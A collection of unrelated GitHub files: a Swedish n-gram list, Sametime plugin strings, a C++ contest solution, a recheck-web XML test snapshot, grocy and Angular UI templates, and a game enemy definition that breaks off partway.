ne 337
ut 335
as 332
ska 329
_at 327
_att 326
_som 324
_att_ 324
_som_ 323
vi 322
ikt 317
_av 316
det 316
_den 315
he 315
ss 314
un 307
ke 304
_g 303
us 302
di 302
_st 300
rn 297
_me 296
_ä 295
ade 294
" 290
_ha 290
av_ 289
ill 288
_n 286
_in 279
io 275
_r 275
der 275
it 274
_av_ 274
sta 274
gen 272
isk 270
_ti 269
id 265
na_ 265
ns_ 264
ko 262
_den_ 261
ag 258
det_ 257
lig 257
era 256
ll_ 255
_det 252
_är 251
be 249
_är_ 248
ra_ 247
ion 244
- 241
pr 240
oni 233
til 231
ten 228
_si 225
k_ 222
på 222
fr 221
ro 219
till 219
iv 216
ls 216
ande 215
ör_ 214
_det_ 213
äl 212
_på 211
ts 210
ens 209
med 209
mm 208
rt 208
_till 208
_til 208
_va 207
_fr 205
_sk 205
var 205
nin 204
ning 203
ol 201
ka_ 200
lle 198
ett 198
rd 197
em 196
på_ 195
x 195
rk 194
_ut 194
ste 194
ds 193
_vi 192
år 192
S 192
nde_ 191
are 191
ver 190
_på_ 190
nis 189
kr 189
_med 188
all 188
ån 187
nge 185
mo 184
os 183
ld 182
ade_ 181
_S 181
ed_ 180
rä 176
De 175
_- 175
kan 174
ta_ 173
ng_ 172
vä 171
för_ 170
ill_ 170
han 170
_De 170
pp 169
lt 169
sam 168
nte 167
ans 167
ton 166
ur 165
mi 165
ess 165
kl 164
ig_ 164
ks 164
as_ 163
und 163
men 162
med_ 161
_med_ 161
ak 161
Di 160
ot 159
rna 159
ul 159
_var 159
te_ 158
gen_ 158
het 157
kto 157
str 156
_Di 155
tad 155
lan 154
ga_ 154
iska 154
fa 154
fi 154
så 154
Dikt 153
Dik 153
pe 153
ska_ 152
ja 152
H 151
res 151
ku 151
iu 150
ande_ 150
till_ 150
t. 150
ern 150
rm 149
_Dikt 149
_Dik 149
ie 149
bl 148
-_ 147
od 147
_H 147
n. 147
ist 147
_di 146
ius 146
_" 145
la_ 145
sl 145
man 145
ren 145
_för_ 145
toni 144
kton 144
n._ 144
ktoni 144
ikton 144
I 144
ikto 144
nius 143
ten_ 143
onius 143
oniu 143
toniu 143
ing_ 143
Dikto 143
niu 143
_ko 143
ic 142
_sa 142
_han 142
ett_ 142
sm 141
ba 141
M 141
gr 140
lä 140
ex 138
t._ 138
sp 137
lla 137
_et 137
_M 137
dr 137
rö 136
rad 136
ek 136
_be 135
tar 135
_-_ 135
_om 134
rl 134
E 134
mä 133
|
{
"pile_set_name": "Github"
}
|
[Implementation of instant messaging for the Lotus Sametime protocol.]
[ID:]
[Server name:]
[Client ID and version]
[Error display]
[Use message boxes]
[Use popups]
[Use system tray balloons]
[Get contacts from server]
[Upload contacts]
[Import from file...]
[Auto-add new contacts]
[Treat 'idle' as 'away']
[Encryption]
[40 or 128 bit]
[Meanwhile lib ver: 1.0.2]
[Disconnected]
[Send announcement]
[Message text:]
[Invert\nselection]
[I'm outa here.]
[Invitation rejected - already present.]
[Your invitation has been rejected.]
[Please join this meeting.]
[%s's conference]
[Leave conference]
[Start conference]
[No common encryption method. Try to enable encryption in protocol options.]
[SERVICE NOT IMPLEMENTED. %s]
[Client protocol version: %03d.%03d]
[Server protocol version: %03d.%03d]
[Protocol icon]
[%s connection]
[Sametime administrator message]
[Session announcement - from '%s']
[Unknown user status: %d]
[No server connection!]
[Send announcement...]
[Recipients]
[Failed to upload contacts - storage service unavailable.]
[Description]
[Group?]
[True]
[False]
[%s\n\nSametime error %S\n%s]
[Success]
[General failure]
[Request delayed]
[Request is invalid]
[Not logged in]
[Not authorized]
[Operation aborted]
[No element]
[User is not online]
[Invalid data]
[Not implemented]
[Not enough resources]
[Requested channel is not supported]
[Requested channel already exists]
[Requested service is not supported]
[Requested protocol is not supported]
[Version is not supported]
[User is invalid or not trusted]
[Already initialized]
[Not an owner]
[Invalid token]
[Token expired]
[Token mismatch]
[Port in use]
[Network error]
[Master channel error]
[Already subscribed]
[Not subscribed]
[Encryption method not supported]
[Encryption not initialized]
[Encryption too low]
[Invalid encrypted data]
[No common encryption method]
[Channel destroyed]
[Channel redirected]
[Incorrect entry]
[Version mismatch]
[Not enough buffers memory]
[Not in use]
[Not enough sockets]
[Hardware error]
[Host error]
[Host unreachable]
[Internet protocol error]
[Message is too large]
[Proxy error]
[Server full]
[Server not responding]
[Connection error]
[User removed]
[Sametime protocol error]
[User restricted]
[Incorrect Username/Password]
[Encryption mismatch]
[User unregistered]
[Login verification down or unavailable]
[User too idle]
[The guest name is currently being used]
[User exists]
[User relogin]
[Bad name]
[Registration error]
[Privilege error]
[Need email]
[DNS error]
[DNS fatal error]
[DNS not found]
[Connection broken]
[Connection aborted]
[Connection refused]
[Connection reset]
[Connection timed out]
[Connection closed]
[Login to two different servers concurrently (1)]
[Login to two different servers concurrently (2)]
[Already logged on, disconnected]
[Already logged on]
[Server misconfiguration]
[Server needs upgrade]
[Applet Logout]
[User is in Do Not Disturb mode]
[Already logged in elsewhere]
[Cannot register a reserved type]
[Requested type is already registered]
[Requested type is not registered]
[Resolve not completed]
[Resolve name not unique]
[Resolve name not resolvable]
[Operation succeeded]
[Operation failed]
[Request accepted but will be served later]
[Request is invalid due to invalid state or parameters]
[Not logged in to community]
[Unauthorized to perform an action or access a resource]
[Operation has been aborted]
[The element is non-existent]
[The user is non-existent]
[The data are invalid or corrupted]
[The requested feature is not implemented]
[Not enough resources to perform the operation]
[The requested channel is not supported]
[The requested channel already exists]
[The requested service is not supported]
[The requested protocol is not supported (1)]
[The requested protocol is not supported (2)]
[The version is not supported]
[Not an owner of the requested resource]
[Token has expired]
[Token IP mismatch]
[WK port is in use]
[Low-level network error occurred]
[No master channel exists]
[Already subscribed to object(s) or event(s)]
[Not subscribed to object(s) or event(s)]
[Encryption is not supported or failed unexpectedly]
[Encryption mechanism has not been initialized yet]
[The requested encryption level is unacceptably low]
[The encryption data passed are invalid or corrupted]
[There is no common encryption method]
[The channel is destroyed after a recommendation is made connect elsewhere]
[The channel has been redirected to another destination]
[Incorrect entry for server in cluster document]
[Versions don't match]
[Not enough resources for connection (buffers)]
[Not enough resources for connection (socket id)]
[Hardware error occurred]
[Network down]
[Host down]
[TCP/IP protocol error]
[The message is too large]
[Server is full]
[Server is not responding]
[Cannot connect]
[User has been removed from the server]
[Virtual Places protocol error]
[Cannot connect because user has been restricted]
[Incorrect login]
[User is unregistered]
[Verification service down]
[User has been idle for too long]
[The user is already signed on]
[The user has signed on again]
[The name cannot be used]
[The registration mode is not supported]
[User does not have appropriate privilege level]
[Email address must be used]
[Error in DNS]
[Fatal error in DNS]
[Server name not found]
[The connection has been broken]
[An established connection was aborted by the software in the host machine]
[The connection has been refused]
[The connection has been reset]
[The connection has timed out]
[The connection has been closed]
[Disconnected due to login in two Sametime servers concurrently (1)]
[Disconnected due to login in two Sametime servers concurrently (2)]
[Disconnected due to login from another computer.]
[Unable to log in because you are already logged on from another computer]
[Unable to log in because the server is either unreachable, or not configured properly.]
[Unable to log in to home Sametime server through the requested server, since your home server needs to be upgraded.]
[The applet was logged out with this reason. Perform relogin and you will return to the former state.]
[The user is not online]
[The user is in do not disturb mode]
[Cannot log in because already logged in with a different user name (Java only)]
[The requested type is already registered]
[The requested type is not registered]
[The resolve process was not completed, but a partial response is available]
[The name was found, but is not unique (request was for unique only)]
[The name is not resolvable due to its format, for example an Internet email address]
[Unknown error code]
|
{
"pile_set_name": "Github"
}
|
#include<stdio.h>
#include<iostream>
#include<cmath>
#include<algorithm>
#include<cstring>
#include<map>
#include<set>
#include<vector>
#include<utility>
#include<math.h>
#define sd(x) scanf("%d",&x);
#define sd2(x,y) scanf("%d%d",&x,&y);
#define sd3(x,y,z) scanf("%d%d%d",&x,&y,&z);
using namespace std;
int t, type, n, b, g, cost1, cost2;
vector<int> boys, girls;
string s;
int main(){
sd(t);
while(t--){
sd(type);
cin>>s;
n = s.length();
b = g = 0;
for(int i = 0; i < n; i++){
if(s[i] == 'B') b++;
else g++;
}
if(abs(b-g) > 1){
cout<< -1 <<endl;
continue;
}
if(type == 0){
//BGBG or GBGB
int indx = 0;
cost1 = 0;
cost2 = 0;
for(int i = 0; i < n; i++){
if(indx == 0 and s[i] == 'G') cost1++;
else if(indx == 1 and s[i] == 'B') cost1++;
indx = 1 - indx;
}
indx = 1;
for(int i = 0; i < n; i++){
if(indx == 0 and s[i] == 'G') cost2++;
else if(indx == 1 and s[i] == 'B') cost2++;
indx = 1 - indx;
}
if(cost1%2 == 1) cout<< cost2/2 <<endl;
else if(cost2%2 == 1) cout<< cost1/2 <<endl;
else cout<< (min(cost1, cost2)/2) <<endl;
}
else{
long long ans = 0, ans2 = 0;
b = g = 0;
for(int i = 0; i < n; i++){
if(s[i] == 'B'){
ans += abs(i - (2*b));
b++;
}
else{
ans += abs(i - (2*g + 1));
g++;
}
}
b = g = 0;
for(int i = 0; i < n; i++){
if(s[i] == 'G'){
ans2 += abs(i - (2*g));
g++;
}
else{
ans2 += abs(i - (2*b + 1));
b++;
}
}
if(ans%2 == 1){
cout<< ans2/2 << endl;
}
else if(ans2%2 == 1){
cout<< ans/2 <<endl;
}
else{
cout<< (min(ans, ans2)/2) <<endl;
}
}
}
return 0;
}
|
{
"pile_set_name": "Github"
}
|
<?xml version="1.0" encoding="UTF-8"?>
<reTestXmlDataContainer xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" reTestVersion="1.11.2" dataType="de.retest.recheck.ui.descriptors.SutState" dataTypeVersion="4">
<data xsi:type="sutState">
<descriptors retestId="html" screenId="1" screen="AutoHealingTest" title="AutoHealingTest">
<identifyingAttributes>
<attributes>
<attribute key="absolute-outline" xsi:type="outlineAttribute">
<x>0</x>
<y>0</y>
<height>37</height>
<width>1200</width>
</attribute>
<attribute key="outline" xsi:type="outlineAttribute">
<x>0</x>
<y>0</y>
<height>37</height>
<width>1200</width>
</attribute>
<attribute key="path" xsi:type="pathAttribute">html[1]</attribute>
<attribute key="suffix" xsi:type="suffixAttribute">1</attribute>
<attribute key="type" xsi:type="stringAttribute">html</attribute>
</attributes>
</identifyingAttributes>
<attributes>
<attributes>
<entry>
<key>lang</key>
<value xsi:type="xsd:string">en</value>
</entry>
<entry>
<key>shown</key>
<value xsi:type="xsd:string">true</value>
</entry>
</attributes>
</attributes>
<containedElements retestId="head">
<identifyingAttributes>
<attributes>
<attribute key="absolute-outline" xsi:type="outlineAttribute">
<x>0</x>
<y>0</y>
<height>0</height>
<width>0</width>
</attribute>
<attribute key="outline" xsi:type="outlineAttribute">
<x>0</x>
<y>0</y>
<height>-37</height>
<width>-1200</width>
</attribute>
<attribute key="path" xsi:type="pathAttribute">html[1]/head[1]</attribute>
<attribute key="suffix" xsi:type="suffixAttribute">1</attribute>
<attribute key="type" xsi:type="stringAttribute">head</attribute>
</attributes>
</identifyingAttributes>
<attributes>
<attributes>
<entry>
<key>shown</key>
<value xsi:type="xsd:string">false</value>
</entry>
</attributes>
</attributes>
<containedElements retestId="autohealingtest">
<identifyingAttributes>
<attributes>
<attribute key="absolute-outline" xsi:type="outlineAttribute">
<x>0</x>
<y>0</y>
<height>0</height>
<width>0</width>
</attribute>
<attribute key="outline" xsi:type="outlineAttribute">
<x>0</x>
<y>0</y>
<height>0</height>
<width>0</width>
</attribute>
<attribute key="path" xsi:type="pathAttribute">html[1]/head[1]/title[1]</attribute>
<attribute key="suffix" xsi:type="suffixAttribute">1</attribute>
<attribute key="text" xsi:type="textAttribute">AutoHealingTest</attribute>
<attribute key="type" xsi:type="stringAttribute">title</attribute>
</attributes>
</identifyingAttributes>
<attributes>
<attributes>
<entry>
<key>shown</key>
<value xsi:type="xsd:string">false</value>
</entry>
</attributes>
</attributes>
</containedElements>
<containedElements retestId="meta">
<identifyingAttributes>
<attributes>
<attribute key="absolute-outline" xsi:type="outlineAttribute">
<x>0</x>
<y>0</y>
<height>0</height>
<width>0</width>
</attribute>
<attribute key="outline" xsi:type="outlineAttribute">
<x>0</x>
<y>0</y>
<height>0</height>
<width>0</width>
</attribute>
<attribute key="path" xsi:type="pathAttribute">html[1]/head[1]/meta[1]</attribute>
<attribute key="suffix" xsi:type="suffixAttribute">1</attribute>
<attribute key="type" xsi:type="stringAttribute">meta</attribute>
</attributes>
</identifyingAttributes>
<attributes>
<attributes>
<entry>
<key>charset</key>
<value xsi:type="xsd:string">UTF-8</value>
</entry>
<entry>
<key>shown</key>
<value xsi:type="xsd:string">false</value>
</entry>
</attributes>
</attributes>
</containedElements>
<containedElements retestId="meta-1">
<identifyingAttributes>
<attributes>
<attribute key="absolute-outline" xsi:type="outlineAttribute">
<x>0</x>
<y>0</y>
<height>0</height>
<width>0</width>
</attribute>
<attribute key="name" xsi:type="stringAttribute">viewport</attribute>
<attribute key="outline" xsi:type="outlineAttribute">
<x>0</x>
<y>0</y>
<height>0</height>
<width>0</width>
</attribute>
<attribute key="path" xsi:type="pathAttribute">html[1]/head[1]/meta[2]</attribute>
<attribute key="suffix" xsi:type="suffixAttribute">2</attribute>
<attribute key="type" xsi:type="stringAttribute">meta</attribute>
</attributes>
</identifyingAttributes>
<attributes>
<attributes>
<entry>
<key>content</key>
<value xsi:type="xsd:string">width=device-width, initial-scale=1.0</value>
</entry>
<entry>
<key>shown</key>
<value xsi:type="xsd:string">false</value>
</entry>
</attributes>
</attributes>
</containedElements>
<containedElements retestId="meta-2">
<identifyingAttributes>
<attributes>
<attribute key="absolute-outline" xsi:type="outlineAttribute">
<x>0</x>
<y>0</y>
<height>0</height>
<width>0</width>
</attribute>
<attribute key="outline" xsi:type="outlineAttribute">
<x>0</x>
<y>0</y>
<height>0</height>
<width>0</width>
</attribute>
<attribute key="path" xsi:type="pathAttribute">html[1]/head[1]/meta[3]</attribute>
<attribute key="suffix" xsi:type="suffixAttribute">3</attribute>
<attribute key="type" xsi:type="stringAttribute">meta</attribute>
</attributes>
</identifyingAttributes>
<attributes>
<attributes>
<entry>
<key>content</key>
<value xsi:type="xsd:string">ie=edge</value>
</entry>
<entry>
<key>http-equiv</key>
<value xsi:type="xsd:string">X-UA-Compatible</value>
</entry>
<entry>
<key>shown</key>
<value xsi:type="xsd:string">false</value>
</entry>
</attributes>
</attributes>
</containedElements>
</containedElements>
<containedElements retestId="body">
<identifyingAttributes>
<attributes>
<attribute key="absolute-outline" xsi:type="outlineAttribute">
<x>8</x>
<y>8</y>
<height>21</height>
<width>1184</width>
</attribute>
<attribute key="outline" xsi:type="outlineAttribute">
<x>8</x>
<y>8</y>
<height>-16</height>
<width>-16</width>
</attribute>
<attribute key="path" xsi:type="pathAttribute">html[1]/body[1]</attribute>
<attribute key="suffix" xsi:type="suffixAttribute">1</attribute>
<attribute key="type" xsi:type="stringAttribute">body</attribute>
</attributes>
</identifyingAttributes>
<attributes>
<attributes>
<entry>
<key>shown</key>
<value xsi:type="xsd:string">true</value>
</entry>
</attributes>
</attributes>
<containedElements retestId="id">
<identifyingAttributes>
<attributes>
<attribute key="absolute-outline" xsi:type="outlineAttribute">
<x>123</x>
<y>8</y>
<height>21</height>
<width>173</width>
</attribute>
<attribute key="id" xsi:type="stringAttribute">id</attribute>
<attribute key="outline" xsi:type="outlineAttribute">
<x>115</x>
<y>0</y>
<height>0</height>
<width>-1011</width>
</attribute>
<attribute key="path" xsi:type="pathAttribute">html[1]/body[1]/input[1]</attribute>
<attribute key="suffix" xsi:type="suffixAttribute">1</attribute>
<attribute key="type" xsi:type="stringAttribute">input</attribute>
</attributes>
</identifyingAttributes>
<attributes>
<attributes>
<entry>
<key>background-color</key>
<value xsi:type="xsd:string">rgb(255, 255, 255)</value>
</entry>
<entry>
<key>border-bottom-style</key>
<value xsi:type="xsd:string">inset</value>
</entry>
<entry>
<key>border-bottom-width</key>
<value xsi:type="xsd:string">2px</value>
</entry>
<entry>
<key>border-left-style</key>
<value xsi:type="xsd:string">inset</value>
</entry>
<entry>
<key>border-left-width</key>
<value xsi:type="xsd:string">2px</value>
</entry>
<entry>
<key>border-right-style</key>
<value xsi:type="xsd:string">inset</value>
</entry>
<entry>
<key>border-right-width</key>
<value xsi:type="xsd:string">2px</value>
</entry>
<entry>
<key>border-top-style</key>
<value xsi:type="xsd:string">inset</value>
</entry>
<entry>
<key>border-top-width</key>
<value xsi:type="xsd:string">2px</value>
</entry>
<entry>
<key>font-family</key>
<value xsi:type="xsd:string">Arial</value>
</entry>
<entry>
<key>font-size</key>
<value xsi:type="xsd:string">13.3333px</value>
</entry>
<entry>
<key>margin-bottom</key>
<value xsi:type="xsd:string">0px</value>
</entry>
<entry>
<key>margin-top</key>
<value xsi:type="xsd:string">0px</value>
</entry>
<entry>
<key>padding-bottom</key>
<value xsi:type="xsd:string">1px</value>
</entry>
<entry>
<key>padding-top</key>
<value xsi:type="xsd:string">1px</value>
</entry>
<entry>
<key>read-only</key>
<value xsi:type="xsd:string">true</value>
</entry>
<entry>
<key>shown</key>
<value xsi:type="xsd:string">true</value>
</entry>
<entry>
<key>type</key>
<value xsi:type="xsd:string">text</value>
</entry>
<entry>
<key>value</key>
<value xsi:type="xsd:string">a</value>
</entry>
</attributes>
</attributes>
</containedElements>
<containedElements retestId="a">
<identifyingAttributes>
<attributes>
<attribute key="absolute-outline" xsi:type="outlineAttribute">
<x>8</x>
<y>8</y>
<height>21</height>
<width>111</width>
</attribute>
<attribute key="id" xsi:type="stringAttribute">a</attribute>
<attribute key="outline" xsi:type="outlineAttribute">
<x>0</x>
<y>0</y>
<height>0</height>
<width>-1073</width>
</attribute>
<attribute key="path" xsi:type="pathAttribute">html[1]/body[1]/button[1]</attribute>
<attribute key="suffix" xsi:type="suffixAttribute">1</attribute>
<attribute key="text" xsi:type="textAttribute">Click to change!</attribute>
<attribute key="type" xsi:type="stringAttribute">button</attribute>
</attributes>
</identifyingAttributes>
<attributes>
<attributes>
<entry>
<key>align-items</key>
<value xsi:type="xsd:string">flex-start</value>
</entry>
<entry>
<key>background-color</key>
<value xsi:type="xsd:string">rgb(221, 221, 221)</value>
</entry>
<entry>
<key>border-bottom-color</key>
<value xsi:type="xsd:string">rgb(221, 221, 221)</value>
</entry>
<entry>
<key>border-bottom-style</key>
<value xsi:type="xsd:string">outset</value>
</entry>
<entry>
<key>border-bottom-width</key>
<value xsi:type="xsd:string">2px</value>
</entry>
<entry>
<key>border-left-color</key>
<value xsi:type="xsd:string">rgb(221, 221, 221)</value>
</entry>
<entry>
<key>border-left-style</key>
<value xsi:type="xsd:string">outset</value>
</entry>
<entry>
<key>border-left-width</key>
<value xsi:type="xsd:string">2px</value>
</entry>
<entry>
<key>border-right-color</key>
<value xsi:type="xsd:string">rgb(221, 221, 221)</value>
</entry>
<entry>
<key>border-right-style</key>
<value xsi:type="xsd:string">outset</value>
</entry>
<entry>
<key>border-right-width</key>
<value xsi:type="xsd:string">2px</value>
</entry>
<entry>
<key>border-top-color</key>
<value xsi:type="xsd:string">rgb(221, 221, 221)</value>
</entry>
<entry>
<key>border-top-style</key>
<value xsi:type="xsd:string">outset</value>
</entry>
<entry>
<key>border-top-width</key>
<value xsi:type="xsd:string">2px</value>
</entry>
<entry>
<key>box-sizing</key>
<value xsi:type="xsd:string">border-box</value>
</entry>
<entry>
<key>display</key>
<value xsi:type="xsd:string">inline-block</value>
</entry>
<entry>
<key>font-family</key>
<value xsi:type="xsd:string">Arial</value>
</entry>
<entry>
<key>font-size</key>
<value xsi:type="xsd:string">13.3333px</value>
</entry>
<entry>
<key>padding-bottom</key>
<value xsi:type="xsd:string">1px</value>
</entry>
<entry>
<key>padding-left</key>
<value xsi:type="xsd:string">6px</value>
</entry>
<entry>
<key>padding-right</key>
<value xsi:type="xsd:string">6px</value>
</entry>
<entry>
<key>padding-top</key>
<value xsi:type="xsd:string">1px</value>
</entry>
<entry>
<key>read-only</key>
</entry>
<entry>
<key>shown</key>
<value xsi:type="xsd:string">true</value>
</entry>
<entry>
<key>text-align</key>
<value xsi:type="xsd:string">center</value>
</entry>
</attributes>
</attributes>
</containedElements>
</containedElements>
</descriptors>
<metadata>
<entry>
<key>driver.type</key>
<value>UnbreakableDriver</value>
</entry>
<entry>
<key>time.offset</key>
<value>+01:00</value>
</entry>
<entry>
<key>os.arch</key>
<value>amd64</value>
</entry>
<entry>
<key>check.type</key>
<value>driver</value>
</entry>
<entry>
<key>vcs.commit</key>
<value>133270c5c2878a8275304a840baec0004fb0a2fb</value>
</entry>
<entry>
<key>window.height</key>
<value>800</value>
</entry>
<entry>
<key>vcs.branch</key>
<value>feature/RET-1917-implement-warning-creation</value>
</entry>
<entry>
<key>url</key>
<value>file:///C:/Users/diehl/Documents/Work/Repo/Company/open/recheck-web/target/test-classes/de/retest/web/AutoHealingTest.html</value>
</entry>
<entry>
<key>machine.name</key>
<value>PC-BASTIAN</value>
</entry>
<entry>
<key>os.version</key>
<value>10.0</value>
</entry>
<entry>
<key>browser.name</key>
<value>chrome</value>
</entry>
<entry>
<key>browser.version</key>
<value>79.0.3945.117</value>
</entry>
<entry>
<key>time.time</key>
<value>15:39:16.33</value>
</entry>
<entry>
<key>time.zone</key>
<value>Europe/Berlin</value>
</entry>
<entry>
<key>window.width</key>
<value>1200</value>
</entry>
<entry>
<key>os.name</key>
<value>XP</value>
</entry>
<entry>
<key>time.date</key>
<value>2020-01-08</value>
</entry>
<entry>
<key>vcs.name</key>
<value>git</value>
</entry>
</metadata>
</data>
</reTestXmlDataContainer>
|
{
"pile_set_name": "Github"
}
|
@extends('layout.default')
@section('title', $__t('Stock settings'))
@section('viewJsName', 'stocksettings')
@section('content')
<div class="row">
<div class="col">
<h2 class="title">@yield('title')</h2>
<hr>
</div>
</div>
<div class="row">
<div class="col-lg-6 col-xs-12">
<div id="productpresets">
<h4>{{ $__t('Presets for new products') }}</h4>
@if(GROCY_FEATURE_FLAG_STOCK_LOCATION_TRACKING)
<div class="form-group">
<label for="product_presets_location_id">{{ $__t('Location') }}</label>
<select class="form-control user-setting-control"
id="product_presets_location_id"
data-setting-key="product_presets_location_id">
<option value="-1"></option>
@foreach($locations as $location)
<option value="{{ $location->id }}">{{ $location->name }}</option>
@endforeach
</select>
</div>
@endif
<div class="form-group">
<label for="product_presets_product_group_id">{{ $__t('Product group') }}</label>
<select class="form-control user-setting-control"
id="product_presets_product_group_id"
data-setting-key="product_presets_product_group_id">
<option value="-1"></option>
@foreach($productGroups as $productGroup)
<option value="{{ $productGroup->id }}">{{ $productGroup->name }}</option>
@endforeach
</select>
</div>
<div class="form-group">
<label for="product_presets_qu_id">{{ $__t('Quantity unit') }}</label>
<select class="form-control user-setting-control"
id="product_presets_qu_id"
data-setting-key="product_presets_qu_id">
<option value="-1"></option>
@foreach($quantityunits as $quantityunit)
<option value="{{ $quantityunit->id }}">{{ $quantityunit->name }}</option>
@endforeach
</select>
</div>
</div>
<h4 class="mt-2">{{ $__t('Stock overview') }}</h4>
@include('components.numberpicker', array(
'id' => 'stock_expring_soon_days',
'additionalAttributes' => 'data-setting-key="stock_expring_soon_days"',
'label' => 'Expiring soon days',
'min' => 1,
'invalidFeedback' => $__t('This cannot be lower than %s', '1'),
'additionalCssClasses' => 'user-setting-control'
))
<h4 class="mt-2">{{ $__t('Purchase') }}</h4>
@include('components.numberpicker', array(
'id' => 'stock_default_purchase_amount',
'additionalAttributes' => 'data-setting-key="stock_default_purchase_amount"',
'label' => 'Default amount for purchase',
'min' => 0,
'invalidFeedback' => $__t('This cannot be lower than %s', '1'),
'additionalCssClasses' => 'user-setting-control'
))
<h4 class="mt-2">{{ $__t('Consume') }}</h4>
@include('components.numberpicker', array(
'id' => 'stock_default_consume_amount',
'additionalAttributes' => 'data-setting-key="stock_default_consume_amount"',
'label' => 'Default amount for consume',
'min' => 1,
'invalidFeedback' => $__t('This cannot be lower than %s', '1'),
'additionalCssClasses' => 'user-setting-control'
))
<div class="form-group">
<div class="checkbox">
<label for="show_icon_on_stock_overview_page_when_product_is_on_shopping_list">
<input type="checkbox"
class="user-setting-control"
id="show_icon_on_stock_overview_page_when_product_is_on_shopping_list"
data-setting-key="show_icon_on_stock_overview_page_when_product_is_on_shopping_list"> {{ $__t('Show an icon if the product is already on the shopping list') }}
</label>
</div>
</div>
<a href="{{ $U('/stockoverview') }}"
class="btn btn-success">{{ $__t('OK') }}</a>
</div>
</div>
@stop
|
{
"pile_set_name": "Github"
}
|
<button
size="small"
class="close-button"
nbButton
ghost
(click)="close()"
type="button"
>
<nb-icon icon="close-outline"></nb-icon>
</button>
<nb-card>
<nb-card-header>
<div
class="row"
*ngxPermissionsOnly="[PermissionsEnum.CHANGE_SELECTED_EMPLOYEE]"
>
<div class="col">
<ngx-avatar
[name]="timeLog?.employee?.user?.name"
[src]="timeLog?.employee?.user?.imageUrl"
[caption]="
(timeLog?.startedAt | utcToLocal | timeFormat: true) +
' - ' +
(timeLog?.stoppedAt
? (timeLog?.stoppedAt
| utcToLocal
| timeFormat: true)
: ('TIMESHEET.TILL_NOW' | translate)) +
' (' +
(timeLog?.duration | durationFormat) +
')'
"
></ngx-avatar>
</div>
<div class="col-auto">
<ngx-label
[status]="TimeLogsLable[timeLog?.logType].status"
[text]="TimeLogsLable[timeLog?.logType].text"
>
</ngx-label>
</div>
</div>
</nb-card-header>
<nb-card-body class="custom-scroll">
<div>
<strong
>{{ 'TIMESHEET.ORGANIZATION_CONTACT' | translate }} :
</strong>
<span>{{
timeLog?.organizationContact
? timeLog?.organizationContact.name
: ('TIMESHEET.NO_ORGANIZATION_CONTACT' | translate)
}}</span>
</div>
<div class="mt-3">
<div class="description mb-2">
<strong>{{ 'TIMESHEET.PROJECT' | translate }} : </strong>
{{
timeLog?.project
? timeLog?.project.name
: ('TIMESHEET.NO_PROJECT' | translate)
}}
</div>
</div>
<div class="mt-3">
<div class="description">
<strong>{{ 'TIMESHEET.TODO' | translate }} : </strong>
{{
timeLog?.task
? timeLog?.task?.title
: ('TIMESHEET.NO_TODO' | translate)
}}
</div>
</div>
<div class="mt-3" *ngIf="timeLog?.description">
<div class="font-weight-bold mb-2">
{{ 'TIMESHEET.NOTES' | translate }} :
</div>
<div class="description">{{ timeLog?.description }}</div>
</div>
<div class="mt-3" *ngIf="timeLog?.reason">
<div class="font-weight-bold mb-2">
{{ 'TIMESHEET.REASON' | translate }} :
</div>
<div class="description">
{{ timeLog?.reason }}
</div>
</div>
</nb-card-body>
<nb-card-footer>
<button
size="small"
class="mr-2"
nbButton
status="primary"
(click)="openDialog()"
*ngxPermissionsOnly="[
OrganizationPermissionsEnum.ALLOW_MODIFY_TIME
]"
>
<nb-icon icon="edit"></nb-icon> {{ 'TIMESHEET.EDIT' | translate }}
</button>
<button
size="small"
class="mr-2"
nbButton
status="danger"
ngxConfirmDialog
[message]="'TIMESHEET.DELETE_TIMELOG' | translate"
(confirm)="onDeleteConfirm()"
*ngxPermissionsOnly="[
OrganizationPermissionsEnum.ALLOW_DELETE_TIME
]"
>
<nb-icon icon="trash-2-outline"></nb-icon>
{{ 'TIMESHEET.DELETE' | translate }}
</button>
</nb-card-footer>
</nb-card>
|
{
"pile_set_name": "Github"
}
|
{
id: "hortlebort_grey",
prototype: ["ant_flying"],
editor_info: {
category: "enemies, forest",
},
solid_area: [11,11,22,22],
timer_frequency: 50,
properties: {
#-------------------------- constructor/destructor logic --------------------------#
specific_creature_type_constructor: "commands :: [
add_object(body_particles),
set(body_particles.relative_y, 20),
]",
#-------------------------- metadata --------------------------#
title: "~Hortlebort~",
description: "~A dapper soul cursed with an overachieving digestive system~",
taste: "~A prime cut of tender steak smothered with bile.~",
points_value: "23",
altitude_adjustment: "sin(cycle*0.8)*25",
play_object_specific_pain_vocalization: "def(DamageType damage_type, damage_amount) -> commands sound_falloff('hortlebort-gets-hurtleburt.wav')",
#-------------------------- cosmetics --------------------------#
body_particles: { type: "obj particle_attache", init: "object('particle_attache',x,y, {_particle_type:'hortlebort', relative_y: 20, parent: me, time_to_die: 60})" },
},
on_timer: "[proto_event('ant_flying', 'timer'), if(animation = 'fly', [
spawn('hortlebort_grey.shot', mid_x, y2, {velocity_y: 600, velocity_x: 1d100-50}),
spawn('particle_attache', {
_particle_type: 'hortlebort_burst',
x: mid_x,
y: mid_y,
parent: me,
time_to_die: 150,
}),
])
]",
animation: [
{
"@base": true,
image: "enemies/hortlebort-grey.png",
pad: 3,
accel_x: 0,
accel_y: 0,
body_area: "all",
attack_area: [4,18,24,28],
},
{
accel_x: 3,
id: "fly",
duplicates: 6,
rect: [1,38,34,71],
frames: 8,
frames_per_row: 4,
duration: 5,
events: "18:wingflap",
},
{
rect: [1,1,34,34],
id: "turn",
frames: 5,
duration: 4,
},
{
accel_y: 20,
id: "hurt",
rect: [186,75,219,108],
frames: 1,
duration: 18,
},
],
object_type: [
{
id: "thrown",
prototype: ["throwable_small_enemy"],
solid_dimensions: ["enemy","common"],
properties: {
taxonomy: "TaxonomyType :: enum bug",
},
animation: [
{
image: "enemies/hortlebort-grey.png",
id: "thrown",
thrown_area: "all",
duration: 60,
rect: [149,112,182,145],
frames: 1,
body_area: null,
},
{
image: "enemies/hortlebort-grey.png",
id: "on_back",
rect: [149,112,182,145],
frames: 2,
duration: 5,
body_area: "all",
},
],
},
{
id: "shot",
prototype: ["shot"],
zorder: "@include data/zorder.cfg:near_player_foreground_effects",
affected_by_currents: true,
object_level_collisions: true,
properties: {
attack_damage: "if(higher_difficulty, 2, 1)",
death_effects: "def(string type) -> commands [
spawn('particle_attache',x,y, {_particle_type:'hortlebort_burst', relative_y: 0, parent: me, time_to_die: 150}),
]",
contrail_particles: { type: "obj particle_attache", init: "object('particle_attache',x,y, {_particle_type:'hortlebort_shot_contrail', relative_y: 0, parent: me, time_to_die: 150})" },
},
on_create: "[
